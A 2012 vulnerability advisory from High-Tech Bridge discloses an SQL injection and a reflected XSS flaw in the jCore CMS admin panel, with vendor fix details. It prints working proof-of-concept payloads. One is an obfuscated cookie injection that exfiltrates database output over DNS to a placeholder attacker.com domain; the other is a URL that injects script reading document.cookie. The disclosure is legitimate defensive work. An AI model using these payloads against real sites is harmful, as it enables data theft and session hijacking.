Multiple vulnerabilities in jCore

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23107
Product: jCore
Vendor: jcore.net
Vulnerable Version(s): 1.0pre  and probably prior
Tested Version: 1.0pre 
Vendor Notification: August 1, 2012 
Public Disclosure: October 17, 2012 
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Scripting [CWE-79]
CVE References: CVE-2012-4231, CVE-2012-4232
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 4.3 
(AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in 
jCore, which can be exploited to perform Cross-Site Scripting (XSS) and SQL 
Injection attacks.


1) SQL Injection in jCore: CVE-2012-4232

1.1 Input passed via the "memberloginid" COOKIE parameter to /admin/index.php 
is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The PoC code below is based on DNS Exfiltration technique and may be used if 
the database of the vulnerable application is hosted on a Windows system. The 
PoC will send a DNS request demanding IP addess for `version()` (or any other 
sensetive output from the database) subdomain of ".attacker.com" (a domain 
name, DNS server of which is controlled by the attacker):


GET /admin/?logout=1 HTTP/1.1
Cookie: memberloginid=' OR 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 -- 



2) Cross-Site Scripting (XSS) in jCore: CVE-2012-4231

2.1 Input passed via the "path" GET parameter to /admin/index.php is not 
properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's 
browser session in context of affected website.

The following PoC demonstrates the vulnerability:

http://[host]/admin/?path=%27%20onmouseover%3dalert%28document.cookie%29%20%27

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Solution:

As a temporary solution upgrade to version 1.0pre2:
http://jcore.net/news/jcore-ver-10pre2-available-for-testing

Final fix will be available in version 1.0 soon.

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References:

[1] High-Tech Bridge Advisory HTB23107 - 
https://www.htbridge.com/advisory/HTB23107 - Multiple vulnerabilities in jCore.
[2] jCore - http://jcore.net/ - jCore is a free and open source content 
management system (CMS) written in PHP and distributed under the GNU General 
Public License.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.